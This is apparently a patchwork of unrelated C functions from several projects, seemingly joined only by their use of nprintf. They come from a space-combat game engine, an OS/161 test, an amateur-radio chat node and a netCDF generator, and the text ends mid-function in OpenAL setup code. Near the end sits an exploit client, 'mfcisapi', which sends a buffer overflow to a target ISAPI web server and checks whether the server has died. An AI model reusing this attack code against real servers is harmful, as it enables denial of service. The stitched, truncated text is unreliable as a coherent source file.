// Open BOOL WaveFile::Open(LPSTR pszFilename) { int done = FALSE, rc = 0; WORD cbExtra = 0; BOOL fRtn = SUCCESS; // assume success PCMWAVEFORMAT pcmwf; char fullpath[_MAX_PATH]; m_total_uncompressed_bytes_read = 0; m_max_uncompressed_bytes_to_read = AS_HIGHEST_MAX; int FileSize, FileOffset; if (!cf_find_file_location(pszFilename, CF_TYPE_ANY, sizeof(fullpath) - 1, fullpath, &FileSize, &FileOffset)) { goto OPEN_ERROR; } m_snd_info.cfp = mmioOpen(fullpath, NULL, MMIO_ALLOCBUF | MMIO_READ); if (m_snd_info.cfp == NULL) { goto OPEN_ERROR; } m_snd_info.true_offset = FileOffset; m_snd_info.size = FileSize; // if in a VP then position the stream at the start of the file if (FileOffset > 0) { mmioSeek(m_snd_info.cfp, FileOffset, SEEK_SET); } // first check for an OGG if ((rc = ov_open_callbacks(&m_snd_info, &m_snd_info.vorbis_file, NULL, 0, mmio_callbacks)) == 0) { // got an OGG so lets read the info in ov_info(&m_snd_info.vorbis_file, -1); // we only support one logical bitstream if (ov_streams(&m_snd_info.vorbis_file) != 1) { mprintf(("AUDIOSTR => OGG reading error: We don't handle bitstream changes!\n")); goto OPEN_ERROR; } m_wave_format = OGG_FORMAT_VORBIS; m_wfmt.wFormatTag = WAVE_FORMAT_PCM; m_wfmt.nChannels = (WORD)m_snd_info.vorbis_file.vi->channels; m_wfmt.nSamplesPerSec = m_snd_info.vorbis_file.vi->rate; m_wfmt.cbSize = 0; if (UserSampleBits == 16 || UserSampleBits == 8) m_wfmt.wBitsPerSample = UserSampleBits; //Decode at whatever the user specifies; only 16 and 8 are supported. else if (UserSampleBits > 16) m_wfmt.wBitsPerSample = 16; else m_wfmt.wBitsPerSample = 8; m_wfmt.nBlockAlign = (ushort)((m_wfmt.nChannels * m_wfmt.wBitsPerSample) / 8); m_wfmt.nAvgBytesPerSec = m_wfmt.nSamplesPerSec * m_wfmt.nBlockAlign; m_nBlockAlign = m_wfmt.nBlockAlign; m_nUncompressedAvgDataRate = m_wfmt.nAvgBytesPerSec; // location of start of file in VP m_data_offset = 0; m_nDataSize = m_data_bytes_left = ((int)ov_pcm_total(&m_snd_info.vorbis_file, -1) * m_wfmt.nBlockAlign); // Cue for streaming Cue(); // successful open goto OPEN_DONE; } // not an OGG so assume that it's WAVE else { // extra check, if it's not ogg then but if the error was a bad ogg then bail if (rc && (rc != OV_ENOTVORBIS)) goto OPEN_ERROR; // Skip the "RIFF" tag and file size (8 bytes) // Skip the "WAVE" tag (4 bytes) mmioSeek(m_snd_info.cfp, 12 + FileOffset, SEEK_SET); /*char buf[4]; mmioRead(m_snd_info.cfp, buf, sizeof(char)*4); if(strnicmp("RIFF", buf, 4)) goto OPEN_ERROR; //Skip file length mmioSeek( m_snd_info.cfp, 4, SEEK_CUR); mmioRead(m_snd_info.cfp, buf, sizeof(char)*4); if(strnicmp("WAVE", buf, 4)) goto OPEN_ERROR;*/ // Now read RIFF tags until the end of file uint tag, size, next_chunk; while (done == FALSE) { if (mmioRead(m_snd_info.cfp, (char*)&tag, sizeof(uint)) != sizeof(uint)) break; if (mmioRead(m_snd_info.cfp, (char*)&size, sizeof(uint)) != sizeof(uint)) break; next_chunk = mmioSeek(m_snd_info.cfp, 0, SEEK_CUR); next_chunk += size; switch (tag) { case 0x20746d66: // The 'fmt ' tag mmioRead(m_snd_info.cfp, (char*)&pcmwf, sizeof(PCMWAVEFORMAT)); if (pcmwf.wf.wFormatTag != WAVE_FORMAT_PCM) { mmioRead(m_snd_info.cfp, (char*)&cbExtra, sizeof(short)); } // Allocate memory for WAVEFORMATEX structure + extra bytes if ((m_pwfmt_original = (WAVEFORMATEX*)vm_malloc(sizeof(WAVEFORMATEX) + cbExtra)) != NULL) { Assert(m_pwfmt_original != NULL); // Copy bytes from temporary format structure memcpy(m_pwfmt_original, &pcmwf, sizeof(pcmwf)); m_pwfmt_original->cbSize = cbExtra; // Read those extra bytes, append to WAVEFORMATEX structure if (cbExtra != 0) { mmioRead(m_snd_info.cfp, (char*)((ubyte*)(m_pwfmt_original)+ sizeof(WAVEFORMATEX)), cbExtra); } } else { Int3(); // malloc failed goto OPEN_ERROR; } break; case 0x61746164: // the 'data' tag m_nDataSize = size; // This is size of data chunk. Compressed if ADPCM. m_data_bytes_left = size; m_data_offset = mmioSeek(m_snd_info.cfp, 0, SEEK_CUR); done = TRUE; break; default: // unknown, skip it break; } // end switch mmioSeek(m_snd_info.cfp, next_chunk, SEEK_SET); } // At this stage, examine source format, and set up WAVEFORATEX structure for DirectSound. // Since DirectSound only supports PCM, force this structure to be PCM compliant. We will // need to convert data on the fly later if our souce is not PCM switch (m_pwfmt_original->wFormatTag) { case WAVE_FORMAT_PCM: m_wave_format = WAVE_FORMAT_PCM; m_wfmt.wBitsPerSample = m_pwfmt_original->wBitsPerSample; break; case WAVE_FORMAT_ADPCM: m_wave_format = WAVE_FORMAT_ADPCM; if (UserSampleBits == 16 || UserSampleBits == 8) m_wfmt.wBitsPerSample = UserSampleBits; //Decode at whatever the user specified, if it's 16 or 8 else if (UserSampleBits > 16) m_wfmt.wBitsPerSample = 16; else m_wfmt.wBitsPerSample = 8; break; default: nprintf(("SOUND", "SOUND => Not supporting %d format for playing wave files\n", m_pwfmt_original->wFormatTag)); //Int3(); goto OPEN_ERROR; break; } // end switch // Set up the WAVEFORMATEX structure to have the right PCM characteristics m_wfmt.wFormatTag = WAVE_FORMAT_PCM; m_wfmt.nChannels = m_pwfmt_original->nChannels; m_wfmt.nSamplesPerSec = m_pwfmt_original->nSamplesPerSec; m_wfmt.cbSize = 0; m_wfmt.nBlockAlign = (unsigned short)((m_wfmt.nChannels * m_wfmt.wBitsPerSample) / 8); m_wfmt.nAvgBytesPerSec = m_wfmt.nBlockAlign * m_wfmt.nSamplesPerSec; // Init some member data from format chunk m_nBlockAlign = m_pwfmt_original->nBlockAlign; m_nUncompressedAvgDataRate = m_wfmt.nAvgBytesPerSec; // Cue for streaming Cue(); // Successful open goto OPEN_DONE; } OPEN_ERROR: // Handle all errors here nprintf(("SOUND", "SOUND ==> Could not open wave file %s for streaming\n", pszFilename)); fRtn = FAILURE; if (m_snd_info.cfp != NULL) { // Close file mmioClose(m_snd_info.cfp, 0); m_snd_info.cfp = NULL; m_snd_info.true_offset = 0; m_snd_info.size = 0; } if (m_pwfmt_original) { vm_free(m_pwfmt_original); m_pwfmt_original = NULL; } OPEN_DONE: return (fRtn); }
// Checks asteroid-ship collisions. pair->a is asteroid and pair->b is ship. // Returns 1 if all future collisions between these can be ignored int collide_asteroid_ship( obj_pair * pair ) { #if !(defined(FS2_DEMO) || defined(FS1_DEMO)) if (!Asteroids_enabled) return 0; float dist; object *pasteroid = pair->a; object *pship = pair->b; // Don't check collisions for warping out player if ( Player->control_mode != PCM_NORMAL ) { if ( pship == Player_obj ) return 0; } if (pasteroid->hull_strength < 0.0f) return 0; Assert( pasteroid->type == OBJ_ASTEROID ); Assert( pship->type == OBJ_SHIP ); dist = vm_vec_dist( &pasteroid->pos, &pship->pos ); if ( dist < pasteroid->radius + pship->radius ) { int hit; vector hitpos; // create and initialize ship_ship_hit_info struct collision_info_struct asteroid_hit_info; memset( &asteroid_hit_info, -1, sizeof(collision_info_struct) ); if ( pasteroid->phys_info.mass > pship->phys_info.mass ) { asteroid_hit_info.heavy = pasteroid; asteroid_hit_info.light = pship; } else { asteroid_hit_info.heavy = pship; asteroid_hit_info.light = pasteroid; } hit = asteroid_check_collision(pasteroid, pship, &hitpos, &asteroid_hit_info ); if ( hit ) { float ship_damage; float asteroid_damage; vector asteroid_vel = pasteroid->phys_info.vel; // do collision physics calculate_ship_ship_collision_physics( &asteroid_hit_info ); if ( asteroid_hit_info.impulse < 0.5f ) return 0; // limit damage from impulse by making max impulse (for damage) 2*m*v_max_relative float max_ship_impulse = (2.0f*pship->phys_info.max_vel.xyz.z+vm_vec_mag_quick(&asteroid_vel)) * (pship->phys_info.mass*pasteroid->phys_info.mass) / (pship->phys_info.mass + pasteroid->phys_info.mass); if (asteroid_hit_info.impulse > max_ship_impulse) { ship_damage = 0.001f * max_ship_impulse; } else { ship_damage = 0.001f * asteroid_hit_info.impulse; // Cut collision-based damage in half. } // Decrease heavy damage by 2x. if (ship_damage > 5.0f) ship_damage = 5.0f + (ship_damage - 5.0f)/2.0f; if ((ship_damage > 500.0f) && (ship_damage > Ship_info[Ships[pship->instance].ship_info_index].initial_hull_strength/8.0f)) { ship_damage = Ship_info[Ships[pship->instance].ship_info_index].initial_hull_strength/8.0f; nprintf(("AI", "Pinning damage to %s from asteroid at %7.3f (%7.3f percent)\n", Ships[pship->instance].ship_name, ship_damage, 100.0f * ship_damage/Ship_info[Ships[pship->instance].ship_info_index].initial_hull_strength)); } // Decrease damage during warp out because it's damn annoying when your escoree dies during warp out. if (Ai_info[Ships[pship->instance].ai_index].mode == AIM_WARP_OUT) ship_damage /= 3.0f; //nprintf(("AI", "Asteroid damage on %s = %7.3f (%6.2f percent)\n", Ships[pship->instance].ship_name, ship_damage, 100.0f * ship_damage/Ship_info[Ships[pship->instance].ship_info_index].initial_hull_strength)); // calculate asteroid damage and set asteroid damage to greater or asteroid and ship // asteroid damage is needed since we can really whack some small asteroid with afterburner and not do // significant damage to ship but the asteroid goes off faster than afterburner speed. asteroid_damage = asteroid_hit_info.impulse/pasteroid->phys_info.mass; // ie, delta velocity of asteroid asteroid_damage = (asteroid_damage > ship_damage) ? asteroid_damage : ship_damage; // apply damage to asteroid asteroid_hit( pasteroid, pship, &hitpos, asteroid_damage); // speed => damage //extern fix Missiontime; int quadrant_num; if ( asteroid_hit_info.heavy == pship ) { quadrant_num = get_ship_quadrant_from_global(&hitpos, pship); if ((pship->flags & OF_NO_SHIELDS) || !ship_is_shield_up(pship, quadrant_num) ) { quadrant_num = -1; } ship_apply_local_damage(asteroid_hit_info.heavy, asteroid_hit_info.light, &hitpos, ship_damage, quadrant_num, CREATE_SPARKS, asteroid_hit_info.submodel_num); //if (asteroid_hit_info.heavy->type == OBJ_SHIP) { // nprintf(("AI", "Time = %7.3f, asteroid #%i applying %7.3f damage to ship %s\n", f2fl(Missiontime), pasteroid-Objects, ship_damage, Ships[asteroid_hit_info.heavy->instance].ship_name)); //} } else { // dont draw sparks (using sphere hitpos) ship_apply_local_damage(asteroid_hit_info.light, asteroid_hit_info.heavy, &hitpos, ship_damage, MISS_SHIELDS, NO_SPARKS); //if (asteroid_hit_info.light->type == OBJ_SHIP) { // nprintf(("AI", "Time = %7.3f, asteroid #%i applying %7.3f damage to ship %s\n", f2fl(Missiontime), pasteroid-Objects, ship_damage, Ships[asteroid_hit_info.light->instance].ship_name)); //} } // maybe print Collision on HUD if ( pship == Player_obj ) { hud_start_text_flash(XSTR("Collision", 1431), 2000); } collide_ship_ship_do_sound(&hitpos, pship, pasteroid, pship==Player_obj); return 0; } return 0; } else { // estimate earliest time at which pair can hit float asteroid_max_speed, ship_max_speed, time; ship *shipp = &Ships[pship->instance]; asteroid_max_speed = vm_vec_mag(&pasteroid->phys_info.vel); // Asteroid... vel gets reset, not max vel.z asteroid_max_speed = max(asteroid_max_speed, 10.0f); if (ship_is_beginning_warpout_speedup(pship)) { ship_max_speed = max(ship_get_max_speed(shipp), ship_get_warp_speed(pship)); } else { ship_max_speed = ship_get_max_speed(shipp); } ship_max_speed = max(ship_max_speed, 10.0f); ship_max_speed = max(ship_max_speed, pship->phys_info.vel.xyz.z); time = 1000.0f * (dist - pship->radius - pasteroid->radius - 10.0f) / (asteroid_max_speed + ship_max_speed); // 10.0f is a safety factor time -= 200.0f; // allow one frame slow frame at ~5 fps if (time > 100) { pair->next_check_time = timestamp( fl2i(time) ); } else { pair->next_check_time = timestamp(0); // check next time } return 0; } #else return 0; // no asteroids in demo version #endif }
int gr_stub_bm_lock(const char *filename, int handle, int bitmapnum, ubyte bpp, ubyte flags, bool nodebug) { ubyte c_type = BM_TYPE_NONE; ubyte true_bpp; bitmap_entry *be = &bm_bitmaps[bitmapnum]; bitmap *bmp = &be->bm; true_bpp = 8; // don't do a bpp check here since it could be different in OGL - taylor if ( bmp->data == 0 ) { Assert(be->ref_count == 1); if ( be->type != BM_TYPE_USER ) { if ( bmp->data == 0 ) { nprintf (("BmpMan","Loading %s for the first time.\n", be->filename)); } } if ( !Bm_paging ) { if ( be->type != BM_TYPE_USER ) { nprintf(( "Paging", "Loading %s (%dx%dx%d)\n", be->filename, bmp->w, bmp->h, true_bpp )); } } // select proper format if(flags & BMP_AABITMAP){ BM_SELECT_ALPHA_TEX_FORMAT(); } else if(flags & BMP_TEX_ANY){ BM_SELECT_TEX_FORMAT(); } else { BM_SELECT_SCREEN_FORMAT(); } // make sure we use the real graphic type for EFFs if ( be->type == BM_TYPE_EFF ) { c_type = be->info.ani.eff.type; } else { c_type = be->type; } switch ( c_type ) { case BM_TYPE_PCX: bm_lock_pcx( handle, bitmapnum, be, bmp, true_bpp, flags ); break; case BM_TYPE_ANI: bm_lock_ani( handle, bitmapnum, be, bmp, true_bpp, flags ); break; case BM_TYPE_TGA: bm_lock_tga( handle, bitmapnum, be, bmp, true_bpp, flags ); break; case BM_TYPE_PNG: bm_lock_png( handle, bitmapnum, be, bmp, bmp->true_bpp, flags ); break; case BM_TYPE_JPG: bm_lock_jpg( handle, bitmapnum, be, bmp, bmp->true_bpp, flags ); break; case BM_TYPE_DDS: case BM_TYPE_DXT1: case BM_TYPE_DXT3: case BM_TYPE_DXT5: case BM_TYPE_CUBEMAP_DDS: case BM_TYPE_CUBEMAP_DXT1: case BM_TYPE_CUBEMAP_DXT3: case BM_TYPE_CUBEMAP_DXT5: bm_lock_dds( handle, bitmapnum, be, bmp, true_bpp, flags ); break; case BM_TYPE_USER: bm_lock_user( handle, bitmapnum, be, bmp, true_bpp, flags ); break; default: Warning(LOCATION, "Unsupported type in bm_lock -- %d\n", c_type ); return -1; } // always go back to screen format BM_SELECT_SCREEN_FORMAT(); } // make sure we actually did something if ( !(bmp->data) ) { // crap, bail... return -1; } return 0; }
void player_select_close() { // destroy the player select window Player_select_window.destroy(); // if we're in input mode - we should undo the pilot create reqeust if(Player_select_input_mode) { player_select_cancel_create(); } // if we are just exiting then don't try to save any pilot files - taylor if (Player_select_no_save_pilot) { Player = NULL; return; } // actually set up the Player struct here if ( (Player_select_pilot == -1) || (Player_select_num_pilots == 0) ) { nprintf(("General","WARNING! No pilot selected! We should be exiting the game now!\n")); return; } // unload all bitmaps if(Player_select_background_bitmap >= 0) { bm_release(Player_select_background_bitmap); Player_select_background_bitmap = -1; } // if(Player_select_palette >= 0){ // bm_release(Player_select_palette); //Player_select_palette = -1; // } // setup the player struct Player_num = 0; Player = &Players[0]; Player->flags |= PLAYER_FLAGS_STRUCTURE_IN_USE; // New pilot file makes no distinction between multi pilots and regular ones, so let's do this here. if (Player_select_mode == PLAYER_SELECT_MODE_MULTI) { Player->flags |= PLAYER_FLAGS_IS_MULTI; } // WMC - Set appropriate game mode if ( Player->flags & PLAYER_FLAGS_IS_MULTI ) { Game_mode = GM_MULTIPLAYER; } else { Game_mode = GM_NORMAL; } // now read in a the pilot data if ( !Pilot.load_player(Pilots[Player_select_pilot], Player) ) { Error(LOCATION,"Couldn't load pilot file, bailing"); Player = NULL; } else { // NOTE: this may fail if there is no current campaign, it's not fatal Pilot.load_savefile(Player->current_campaign); } if (Player_select_force_main_hall != "") { main_hall_init(Player_select_force_main_hall); } // free memory from all parsing so far, all tbls found during game_init() // and the current campaign which we loaded here stop_parse(); Player_select_screen_active = 0; }
static void makeprocs(bool dowait) { int i, status, failcount; struct usem s1, s2; pid_t pids[NJOBS]; if (dowait) { semcreate("1", &s1); semcreate("2", &s2); } tprintf("Job size approximately %lu bytes\n", (unsigned long) JOBSIZE); tprintf("Forking %d jobs; total load %luk\n", NJOBS, (unsigned long) (NJOBS * JOBSIZE)/1024); for (i=0; i<NJOBS; i++) { pids[i] = fork(); if (pids[i]<0) { warn("fork"); } if (pids[i]==0) { /* child */ if (dowait) { //tsay("Process %d forked\n", i); semopen(&s1); semopen(&s2); semV(&s1, 1); semP(&s2, 1); semclose(&s1); semclose(&s2); } go(i); } } if (dowait) { semopen(&s1); semopen(&s2); //tsay("Waiting for fork...\n"); semP(&s1, NJOBS); //tsay("Starting computation.\n"); semV(&s2, NJOBS); } failcount=0; for (i=0; i<NJOBS; i++) { if (pids[i]<0) { failcount++; } else { if (waitpid(pids[i], &status, 0)<0) { err(1, "waitpid"); } if (status_is_failure(status)) { failcount++; } } } if (failcount>0) { printf("%d subprocesses failed\n", failcount); exit(1); } nprintf("\n"); tprintf("Test complete\n"); success(TEST161_SUCCESS, SECRET, "/testbin/parallelvm"); semclose(&s1); semclose(&s2); semdestroy(&s1); semdestroy(&s2); }
// handle an incoming xfer request from the xfer system void multi_data_handle_incoming(int handle) { int player_index = -1; PSNET_SOCKET_RELIABLE sock = INVALID_SOCKET; char *fname; // get the player who is sending us this file sock = multi_xfer_get_sock(handle); player_index = find_player_socket(sock); // get the filename of the file fname = multi_xfer_get_filename(handle); if(fname == NULL){ nprintf(("Network", "Could not get file xfer filename! wacky...!\n")); // kill the stream multi_xfer_xor_flags(handle, MULTI_XFER_FLAG_REJECT); return; } // if this is not a valid data file if(!multi_data_is_data(fname)){ nprintf(("Network", "Not accepting xfer request because its not a valid data file!\n")); // kill the stream multi_xfer_xor_flags(handle, MULTI_XFER_FLAG_REJECT); return; } // if we already have a copy of this file, abort the xfer // Does file exist in \multidata? if (cf_exists(fname, CF_TYPE_MULTI_CACHE)) { nprintf(("Network", "Not accepting file xfer because a duplicate exists!\n")); // kill the stream multi_xfer_xor_flags(handle, MULTI_XFER_FLAG_REJECT); // if we're the server, we still need to add it to the list though if((Net_player->flags & NETINFO_FLAG_AM_MASTER) && (player_index >= 0)){ multi_data_add_new(fname, player_index); } return; } // if I'm the server of the game, do stuff a little differently if(Net_player->flags & NETINFO_FLAG_AM_MASTER){ if(player_index == -1){ nprintf(("Network", "Could not find player for incoming player data stream!\n")); // kill the stream multi_xfer_xor_flags(handle, MULTI_XFER_FLAG_REJECT); return; } // attempt to add the file if(!multi_data_add_new(fname, player_index)){ // kill the stream multi_xfer_xor_flags(handle, MULTI_XFER_FLAG_REJECT); return; } else { // force the file to go into the multi cache directory multi_xfer_handle_force_dir(handle, CF_TYPE_MULTI_CACHE); // mark it as autodestroy multi_xfer_xor_flags(handle, MULTI_XFER_FLAG_AUTODESTROY); } } // if i'm a client, this is an incoming file from the server else { // if i'm not accepting pilot pics, abort if(!(Net_player->p_info.options.flags & MLO_FLAG_ACCEPT_PIX)){ nprintf(("Network", "Client not accepting files because we don't want 'em!\n")); // kill the stream multi_xfer_xor_flags(handle, MULTI_XFER_FLAG_REJECT); return; } // set the xfer handle to autodestroy itself since we don't really want to have to manage all incoming pics multi_xfer_xor_flags(handle, MULTI_XFER_FLAG_AUTODESTROY); // force the file to go into the multi cache directory multi_xfer_handle_force_dir(handle, CF_TYPE_MULTI_CACHE); // begin receiving the file nprintf(("Network", "Client receiving xfer handle %d\n",handle)); } }
static void chkctl(CIRCUIT *ckt_from) { NODE *node, *ln; CIRCUIT *ckt_to; USER *user, *su; char *ncall, *ucall, *f1, *f2, *buf; if (ckt_from->buf[FORMAT_O] != FORMAT) return; // Not a control message. buf = strdup(ckt_from->buf + DATA_O); // FORMAT and TYPE bytes are followed by node and user callsigns. ncall = buf; ucall = strlop(buf, ' '); if (!ucall) { free(buf); return; } // Not a control message. // There may be at least one field after the node and user callsigns. // Node leave (id_unlink) has no F1. f1 = strlop(ucall, ' '); // If the frame came from an unknown node ignore it. // If the frame came from us ignore it (loop breaking). node = node_find(ncall); if (!node || matchi(ncall, Node->calls)) { free(buf); return; } switch(ckt_from->buf[TYPE_O]) { // Data from user ucall at node ncall. case id_data : user = user_find(ucall); if (!user) break; text_tellu(user, f1, NULL, o_topic); for (ckt_to = circuit_hd; ckt_to; ckt_to = ckt_to->next) if ((ckt_to->flags & p_linked) && ckt_to->refcnt && !cn_find(ckt_to, node) && ct_find(ckt_to, user->topic)) nprintf(ckt_to->s, "%s\n", ckt_from->buf); break; // User ucall at node ncall changed their Name/QTH info. case id_user : echo(ckt_from, node); // Relay to other nodes. user = user_find(ucall); if (!user) break; f2 = strlop(f1, ' '); if (!f2) break; strnew(&user->name, f1); strnew(&user->qth, f2); upduser(user); break; // User ucall logged into node ncall. case id_join : echo(ckt_from, node); // Relay to other nodes. f2 = strlop(f1, ' '); if (!f2) break; user = user_join(ckt_from, ucall, ncall, NULL); if (!user) break; ckt_from->refcnt++; text_tellu(user, rtjoin, NULL, o_all); strnew(&user->name, f1); strnew(&user->qth, f2); upduser(user); break; // User ucall logged out of node ncall. case id_leave : echo(ckt_from, node); // Relay to other nodes. user = user_find(ucall); if (!user) break; f2 = strlop(f1, ' '); if (!f2) break; text_tellu(user, rtleave, NULL, o_all); ckt_from->refcnt--; cn_dec(ckt_from, node); strnew(&user->name, f1); strnew(&user->qth, f2); upduser(user); user_leave(user); break; // Node ncall lost its link to node ucall, alias f1. case id_unlink : echo(ckt_from, node); // Relay to other nodes. ln = node_find(ucall); if (ln) cn_dec(ckt_from, ln); break; // Node ncall acquired a link to node ucall, alias f1. // If we are not linked, is no problem, don't link. // If we are linked, is a loop, do what? case id_link : echo(ckt_from, node); // Relay to other nodes. ln = node_find(ucall); if (!ln && !matchi(ncall, Node->calls)) cn_inc(ckt_from, ucall, f1); break; // User ucall at node ncall sent f2 to user f1. case id_send : user = user_find(ucall); if (!user) break; f2 = strlop(f1, ' '); if (!f2) break; su = user_find(f1); if (!su) break; if (su->circuit->flags & p_user) text_tellu(user, f2, f1, o_one); else echo(ckt_from, node); // Relay to other nodes. break; // User ucall at node ncall changed topic. case id_topic : echo(ckt_from, node); // Relay to other nodes. user = user_find(ucall); if (user) topic_chg(user, f1); break; default : break; } free(buf); }
static void text_xmit(USER *user, USER *to, char *text) { nprintf(to->circuit->s, "%c%c%s %s %s %s\n", FORMAT, id_send, Node->calls, user->call, to->call, text); }
static void topic_xmit(USER *user, CIRCUIT *circuit) { nprintf(circuit->s, "%c%c%s %s %s\n", FORMAT, id_topic, Node->calls, user->call, user->topic->name); }
static void genj_writevar(Generator* generator, Symbol* vsym, Bytebuffer* code, int rank, size_t* start, size_t* count) { Dimset* dimset = &vsym->typ.dimset; int typecode = vsym->typ.basetype->typ.typecode; int i; codeline(""); codelined(1,"{"); /* Enclose in {...} for scoping */ if(rank == 0) { bbprintf0(stmt,"%sArray%s.D0 data = new Array%s.D0();\n", indented(1),jtypecap(typecode), jtypecap(typecode)); codedump(stmt); if(typecode == NC_CHAR) { /* Construct the data Array */ jquotestring(code,'\''); bbprintf0(stmt,"%sdata.set((char)%s);\n", indented(1),bbContents(code)); } else { commify(code); bbprintf0(stmt,"%sdata.set((%s)%s);\n", indented(1),jtype(typecode),bbContents(code)); } codedump(stmt); /* do the actual write */ bbprintf0(stmt,"%sncfile.write(\"%s\",data);\n", indented(1),jescapifyname(vsym->name)); codedump(stmt); } else { /* array */ Bytebuffer* dimbuf = bbNew(); /* Construct the dimension set*/ bbCat(dimbuf,"new int[]{"); for(i=0;i<rank;i++) { Symbol* dsym = dimset->dimsyms[i]; char tmp[32]; nprintf(tmp,sizeof(tmp),"%lu",dsym->dim.declsize); if(i>0) {bbCat(dimbuf,", ");} bbCat(dimbuf,tmp); } bbCat(dimbuf,"}"); /* Construct the data array and capture its index */ if(typecode == NC_CHAR) { jquotestring(code,'"'); bbprintf0(stmt,"%sString contents = ", indented(1)); } else { bbprintf0(stmt,"%s%s[] contents = new %s[] {", indented(1),jtype(typecode),jtype(typecode)); commify(code); } codedump(stmt); codedump(code); if(typecode != NC_CHAR) codepartial("}"); codeline(";"); bbprintf0(stmt,"%sArray%s data = new Array%s(%s);\n", indented(1), jtypecap(typecode), jtypecap(typecode), bbContents(dimbuf)); codedump(stmt); codelined(1,"IndexIterator iter = data.getIndexIterator();"); codelined(1,"int count = 0;"); codelined(1,"while(iter.hasNext())"); if(typecode == NC_CHAR) bbprintf0(stmt, "%siter.setCharNext(contents.charAt(count++));\n",indented(2)); else bbprintf0(stmt,"%siter.set%sNext(contents[count++]);\n", indented(2),jtypecap(typecode)); codedump(stmt); bbFree(dimbuf); /* Construct the origin set from the start set */ bbprintf0(stmt,"%sint[] origin = new int[]{",indented(1)); for(i=0;i<rank;i++) { bbprintf(stmt,"%s%lu",(i>0?", ":""),start[i]); } bbCat(stmt,"};\n"); codedump(stmt); /* do the actual write */ bbprintf0(stmt,"%sncfile.write(\"%s\",origin,data);\n", indented(1),jescapifyname(vsym->name)); codedump(stmt); } codelined(1,"}"); /* Enclose in {...} for scoping */ codeflush(); }
int rtloginu () { CIRCUIT *c, *circuit; USER *user; // Is this user already logged in to RT somewhere else? if (user_find(CurProc->user)) { tputs("*** Already connected at another node.\n"); return cmd_exit; } if (log_rt) tlogp("RT Login"); // Create a circuit for this user. circuit = circuit_new(p_user, CurProc->output); if (!circuit) return cmd_exit; // Create the user entry. user = user_join(circuit, CurProc->user, Node->calls, Node->aliass); circuit->u.user = user; tputs("RoundTable Server.\nType /h for command summary.\nBringing up links to other nodes.\n"); tputs("This may take a minute or two.\nThe /p command shows what nodes are linked.\n"); text_tellu(user, rtjoin, NULL, o_all); user_tell(user, id_join); show_users(); makelinks(); // Run in circles, scream and shout. for (;;) if (getinp(circuit)) { if (circuit->buf[0] is '/') { if (!rt_cmd(circuit)) { tputs("Returned to node.\n"); logout(circuit); return cmd_ok; } } else { text_tellu(user, circuit->buf, NULL, o_topic); // To local users. // To remote users. for (c = circuit_hd; c; c = c->next) if ((c->flags & p_linked) && c->refcnt && ct_find(c, user->topic)) nprintf(c->s, "%c%c%s %s %s\n", FORMAT, id_data, Node->calls, user->call, circuit->buf); } } else { logout(circuit); return cmd_exit; } }
void main(int argc, char *argv[]) { /* Set up some stack storage... */ SOCKET hSock; /* Socket descriptor handle */ unsigned short port; /* This is set to default after WSAStartup() */ int buffsize = 1024; /* Some ISAs need bigger; set at command-line */ struct hostent *he; /* For DNS resolution */ char exploit[BUFF_SIZE]; /* BIG uninitialized buffer for the exploit. */ struct sockaddr_in sa_in; /* Socket address storage */ char *offset; /* Buffer pointer */ int i; /* Counting integer */ /* * Windows-specific crap to initialize WinSock * This compatibility stuff bloats my code rather * badly... (I love Windows! :-XD) */ #ifdef _WIN32 WSADATA wsa_prov; if (!WSAStartup(0x0101, &wsa_prov) == 0) { die("WinSock initialization failed!"); } #endif /* Handle the argument vector */ port = htons(80); switch(argc) { case 5: buffsize = atoi(argv[4]); case 4: port = htons((unsigned short)atoi(argv[3])); case 3: break; case 2: case 1: default: usage(); } /* Make the TCP socket for the exploit */ hSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (hSock == SOCKET_ERROR) { die("Couldn't create exploit socket!"); } /* Fill in the address information */ sa_in.sin_family = AF_INET; sa_in.sin_port = port; sa_in.sin_addr.S_un.S_addr = inet_addr(argv[1]); /* Create memory buffer for exploit */ sprintf(&exploit[0], &request[0], argv[2]); /* Try to connect to the victim server. */ if (!connect(hSock, &sa_in, sizeof(struct sockaddr_in)) == 0) { die("Couldn't connect; probably no web server there."); } /* Send out the overflow */ send(hSock, &exploit[0], strlen(&exploit[0]), 0); nprintf("Exploit sent -- check if the server/worker is dead."); /* Do some cleanup */ shutdown(hSock, SD_BOTH); #ifndef _WIN32 close(hSock); #else /* Once again, Windows deviates... */ closesocket(hSock); WSACleanup(); #endif return; }
void usage(void) { nprintf("Usage: mfcisapi <host> <isapi> [port]\x0d\x0a\x0d\x0ahost - the address to exploit (e.g, 127.0.0.1)\x0d\x0aisapi - the path of the ISAPI DLL/mapping to exploit (e.g, /ext.dll, /iisstart.asp)\x0d\x0aport - the port that the web service runs on (usually 80)"); exit(1); }
// initializes hardware device from perferred/default/enumerated list bool openal_init_device(SCP_string *playback, SCP_string *capture) { if ( !Playback_device.empty() ) { if (playback) { *playback = Playback_device; } if (capture) { *capture = Capture_device; } return true; } if (playback) { playback->erase(); } if (capture) { capture->erase(); } // initialize default setup first, for version check... ALCdevice *device = alcOpenDevice(NULL); if (device == NULL) { return false; } ALCcontext *context = alcCreateContext(device, NULL); if (context == NULL) { alcCloseDevice(device); return false; } alcMakeContextCurrent(context); // version check (for 1.0 or 1.1) ALCint AL_minor_version = 0; alcGetIntegerv(NULL, ALC_MINOR_VERSION, sizeof(ALCint), &AL_minor_version); if (AL_minor_version < 1) { os::dialogs::Message(os::dialogs::MESSAGEBOX_ERROR, "OpenAL 1.1 or newer is required for proper operation. On Linux and Windows OpenAL Soft is recommended. If you are on Mac OS X you need to upgrade your OS."); alcMakeContextCurrent(NULL); alcDestroyContext(context); alcCloseDevice(device); return false; } alcGetError(device); // close default device alcMakeContextCurrent(NULL); alcDestroyContext(context); alcCloseDevice(device); // go through and find out what devices we actually want to use ... find_playback_device(); find_capture_device(); if ( Playback_device.empty() ) { return false; } #ifndef NDEBUG if ( !PlaybackDevices.empty() ) { nprintf(("OpenAL", " Available Playback Devices:\n")); for (size_t idx = 0; idx < PlaybackDevices.size(); idx++) { nprintf(("OpenAL", " %s", PlaybackDevices[idx].device_name.c_str())); if (PlaybackDevices[idx].type == OAL_DEVICE_USER) { nprintf(("OpenAL", " *preferred*\n")); } else if (PlaybackDevices[idx].type == OAL_DEVICE_DEFAULT) { nprintf(("OpenAL", " *default*\n")); } else { nprintf(("OpenAL", "\n")); } } } if ( !CaptureDevices.empty() ) { if ( !PlaybackDevices.empty() ) { nprintf(("OpenAL", "\n")); } nprintf(("OpenAL", " Available Capture Devices:\n")); for (size_t idx = 0; idx < CaptureDevices.size(); idx++) { 